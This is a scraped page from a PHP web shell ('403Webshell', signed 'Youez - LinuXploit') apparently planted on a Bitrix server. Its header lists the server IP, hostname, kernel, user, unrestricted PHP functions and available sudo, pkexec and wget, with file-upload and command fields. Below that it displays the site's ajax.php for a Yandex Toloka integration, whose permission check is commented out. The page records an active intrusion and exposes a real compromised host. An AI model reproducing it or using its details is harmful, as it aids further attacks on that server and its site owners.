403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/components/bitrix/sender.yandex.toloka.edit/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/components/bitrix/sender.yandex.toloka.edit/ajax.php
<?php
define('STOP_STATISTICS', true);
define('BX_SECURITY_SHOW_MESSAGE', true);

require_once($_SERVER['DOCUMENT_ROOT'].'/bitrix/modules/main/include/prolog_before.php');

use Bitrix\Main\HttpRequest;
use Bitrix\Main\Loader;
use Bitrix\Main\Localization\Loc;
use Bitrix\Sender\Integration\Yandex\Toloka\ApiRequest;
use Bitrix\Sender\Integration\Yandex\Toloka\DTO\Assembler\PoolAssembler;
use Bitrix\Sender\Integration\Yandex\Toloka\DTO\Assembler\ProjectAssembler;
use Bitrix\Sender\Integration\Yandex\Toloka\DTO\Assembler\TaskSuiteAssembler;
use Bitrix\Sender\Internals\CommonAjax;
use Bitrix\Sender\Internals\QueryController as Controller;

if (!Loader::includeModule('sender'))
{
	return;
}
$apiRequest = new ApiRequest();
Loc::loadMessages(__FILE__);

$actions = [];
$actions[] = Controller\Action::create('getProjectList')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			$content = $response->initContentJson();
			$content->set(
				$apiRequest->getProjectList([])
			);
		}
	);

$actions[] = Controller\Action::create('getProjectInfo')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			$content = $response->initContentJson();
			$content->set(
				$apiRequest->getProjectInfo()
			);
		}
	);

$actions[] = Controller\Action::create('createProject')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			$project = ProjectAssembler::toDTO($request);
			$content = $response->initContentJson();

			try
			{
				$content->set(
					is_null($project->getId())? $apiRequest->createProject($project) : $apiRequest->editProject($project)
				);
			}
			catch (\Bitrix\Sender\Integration\Yandex\Toloka\Exception\AccessDeniedException $e)
			{
				$content->addPermissionError(Loc::getMessage('SENDER_TOLOKA_WRONG_OAUTH'));
			}
		}
	);

$actions[] = Controller\Action::create('getPoolList')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			$content = $response->initContentJson();
			$content->set(
				$apiRequest->getPoolList(
					[
						'project_id' => $request->get('project_id')
					]
				)
			);
		}
	);

$actions[] = Controller\Action::create('getGeoList')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			$content = $response->initContentJson();
			$content->set(
				$apiRequest->getGeoList(
					[
						'name' => $request->get('name')
					]
				)
			);
		}
	);

$actions[] = Controller\Action::create('getPoolInfo')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			$content = $response->initContentJson();
			$content->set(
				$apiRequest->getProjectList()
			);
		}
	);

$actions[] = Controller\Action::create('createPool')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			$content = $response->initContentJson();

			$pool = PoolAssembler::toDTO($request);

			if (!is_null($pool->getId()))
			{
				$apiRequest->closePool($pool->getId());
				$apiRequest->deleteTasks($pool->getId());
			}

			$response = is_null($pool->getId())
				? $apiRequest->createPool(
					$pool
				)
				: $apiRequest->editPool(
					$pool
				);

			if ($response['code'] ?? false)
			{
				$content->addError($response['code']);
				$content->set(
					$response
				);

				return;
			}
			$request->set('id', $response['id']);

			$taskSuite = TaskSuiteAssembler::toDTO($request);

			$response = $apiRequest->createTaskSuite($taskSuite);
			$content->set(
				$response
			);
		}
	);

$actions[] = Controller\Action::create('registerOAuth')
	->setHandler(
		function(HttpRequest $request, Controller\Response $response) use ($apiRequest)
		{
			COption::SetOptionString(
				'sender',
				ApiRequest::ACCESS_CODE,
				$request->get('access_code')
			);

			$content = $response->initContentJson();
			try
			{
				$apiRequest = new ApiRequest();
				$response = $apiRequest->getProjectList([]);
				if(isset($response['error']))
				{
					throw new \Bitrix\Sender\Integration\Yandex\Toloka\Exception\AccessDeniedException();
				}
				$content->set(
					$response
				);
			}
			catch (\Bitrix\Sender\Integration\Yandex\Toloka\Exception\AccessDeniedException $e)
			{
				$content->addPermissionError(Loc::getMessage('SENDER_TOLOKA_WRONG_OAUTH'));
			}
		}
	);

$checker = CommonAjax\Checker::getModifyLetterPermissionChecker();
Controller\Listener::create()
	//	->addChecker($checker)
	->setActions($actions)
	->run();

Youez - 2016 - github.com/yon3zu
LinuXploit